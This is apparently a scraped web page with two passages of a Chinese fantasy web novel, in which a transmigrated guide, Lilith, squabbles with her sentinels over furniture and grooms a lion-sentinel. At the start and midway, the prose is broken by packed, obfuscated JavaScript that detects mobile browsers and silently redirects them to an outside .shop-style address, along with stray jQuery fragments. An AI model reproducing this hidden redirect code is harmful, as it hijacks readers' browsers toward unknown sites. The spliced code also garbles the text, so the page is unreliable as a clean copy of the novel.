;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14234387|151384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漾起淡黄色的波光，将狂风骤雨挡在外面。只有这种时候，莉莉丝才能感觉到，自己不是穿越到原始社会，成了穴居人。 “可惜……”莉莉丝站在洞穴口，看着黑压压的云层，叹息着。 这里处处有魔法，哨兵生来能契合魔法元素，向导的精神触角也是一种魔法。魔法又离人们很远。可以比肩科技的奇迹不为世人掌握。莉莉丝称之为“魔法阵”的东西，官方名称为神赐图腾。神明将神迹赐予长老会，无私的长老会将它与世人分享。对图腾的研究即是渎神。 阶级固化，知识垄断，神权至上，万八千的人，倒是玩出了不少花样。 莉莉丝忽然皱了皱眉，不着痕迹的往旁边挪了半步，随手薅了一只蘑菇，拿在手中把玩。 “喂！”身后传来拽拽的说话声，是风羽，“有人找你。” 莉莉丝回头，眨了眨眼睛，似乎才反应过来一般，说：“知道了，谢谢。” 风羽看着她，欲言又止，止又欲言。最终，他说：“快点，等着你呢！”说完，他飞快的走了。 永远可以相信哨兵们的效率，当他们真的想干活的时候。 莉莉丝回到办公室，只见除了她预留的区域，所有的家具都摆在正确的位置。也不知金从哪里又弄来一个全新的柜子，依旧是奢华的土豪金皮肤，雕琢着精美的花纹。纯白的沙发看似简单，边角处精巧的设计不经意透露出其身价的不凡。闪亮亮的宝石装点不起眼的角落。杀马特风的摆件都显得恰到好处。 廉价的办公室一下子精贵起来。他们这个草台班子工作小组也显得物有所值。 狸狸站在门口，正在与人说话。听见莉莉丝的脚步，他转过头，露出一个软绵绵的笑。 所以，门口那颗牛头是什么？ 办公室的门口站着一个健硕的男人。他长着牛的脑袋，身后堆放着巨大的物件儿，用布盖着，不知道是什么。 “请问是莉莉丝大人吗？您有一份来自白蚁先生的邮件。”牛头人彬彬有礼的说。他出声时，嘴没有动。莉莉丝这才发现，他的牛头，只是一件过分逼真的头套。 “我就是莉莉丝，邮差先生。”莉莉丝说。 很多邮差是居住在“上层”的哨兵兼职的。然而邮差并不是受人尊敬的职业。甚至因为有时候要为“下层人”服务，很多“上层人”认为他们是自甘堕落。想多挣点儿钱的打工人有什么错呢？未免日后尴尬，他们会想办法遮掩面貌。 ——只要遮住了脸，就算是自家兄弟都不能认出我咯。希望有些人不要不识抬举。 遮住脸的方式有很多种，可以蒙块布，可以戴个面具，当然也可以戴个仿真头套。 大家都知道邮差们自欺欺人的规矩，没兴趣做不识抬举的那个。 那一堆物件儿后面突然冒出一张马脸。他说：“需要我们搬进屋吗？” 莉莉丝沉默的看了看黑沉沉的天空。 ——妈妈，牛头马面和我说话了！！！ 6.第 6 章 因为莉莉丝出手大方，白蚁先生加班加点。啃了么订单提前送达。牛头马面的巧合，只能说，讨生活的牛马最多。 莉莉丝的哨兵们可不允许野生的哨兵进他们的家门。 “交给我们就可以了，邮差先生。”狸狸礼貌的说。 马面邮差看向莉莉丝。他知道是谁付的钱。见莉莉丝点头，马面邮差说：“那么，麻烦您签收一下。” 莉莉丝拿出了“向导快乐笔”，签下了她的大名。马面邮差拉着牛头邮差，飞快的离开。 莉莉丝回头，恰好看见金对着其他人龇牙。 ——发生了什么？ 面对莉莉丝的疑惑，她的哨兵们露出了贱兮兮的笑。 金冷哼一声，走了过来，没好气的说：“这些东西要摆在哪里？” 哨兵们身强力壮，摆弄几件家具，不费吹灰之力……吧？ 意外开始于布罩被掀开的一瞬间。 “什么玩意？！丑爆了！”风羽尖叫道。 雪狼兄弟欲言又止。金不置可否。狸狸小心翼翼的表示，向导大人不必如此节俭。 莉莉丝眉梢一挑，道：“你们对我的家具有什么意见？纯天然白蚁严选，原木花纹，用料扎实，外观古拙，结实耐操，便于清洁，不好吗？”你们那些不说里面的用料，只看那闪闪的漆面，就不知加了多少科技与狠活！哑光才是真绝色，土鳖！ “……是、是不错。”狸狸艰难的说。 风羽撇了撇嘴，心里大概骂得很脏。 雪狼兄弟对视一眼，认命的搬东西。 金揪着自己的头发看了看，和原木家具偏黄的色调对比了一番，微微勾了勾唇角。 正式见面的第二天，莉莉丝和她的哨兵们，表面上很友好，很克制，内里把对方的品味鄙视了个彻底。 接下来几天平安无事。莉莉丝按时上下班。哨兵们送些小礼物，刷负向导的好感度。 “我不吃半生不熟的肉，谢谢。”莉莉丝拒绝了狸狸送的三分熟的牛排。没有严格的检疫流程，没有现代医疗体系，莉莉丝吃肉只吃全熟的，怕得了寄生虫没得治。 “不要饮酒上岗。”莉莉丝严肃的盯着膨胀酒瓶子的雪狼兄弟。 “……把老鼠拿走啊！！！”莉莉丝死死的盯着盘子里的耗子崽，气抖冷。 莉莉丝看着桌子上趴着的大狮子，陷入了沉思。 金尾随同事，不尊重女性，是个没素质的人渣。但是，这是大狮子啊。狮子要什么素质？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240628|151384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “你的头毛有点儿炸。”莉莉丝微笑着，拿出了珍藏的洗护套装。 ………… …… 莉莉丝的办公室传出了凄厉的兽吼。 风羽凭借猛禽的速度，第一个蹿了过来。紧随其后的体型小巧的狸狸，沉稳寡言的雪锋，以及压弯失败，差点儿飞出去的雪剑。 没有危险。 在他们眼前的，是目光漂移的莉莉丝，以及—— 凭着高超的技艺，执行的心性，莉莉丝成功给金洗出了一头金长直。 “嗷——”这软塌塌、娘兮兮的是什么啊？！！！ 莉莉丝尬笑：“柔顺的，也不总是好的……”把木梳藏到身后。 “嗷——”你对雄壮威武的我做了什么啊啊啊！！！ 雪狼兄弟心有余悸的摸了摸蓬松的白发。风羽猛地蹿到了最远的角落。狸狸艰难的微笑，郑重的说：“莉莉丝大人，我们可以照顾自己的，不用麻烦您了。” “嗷——”有没有人管管我啊！我要咬人了！！ “要不我给你编个脏辫吧？”莉莉丝试探着说。 狸狸一个猛扑，卡住大狮子的脖子，将它拖走。 不愧是哨兵，看起来小小的一只，力气不容小觑。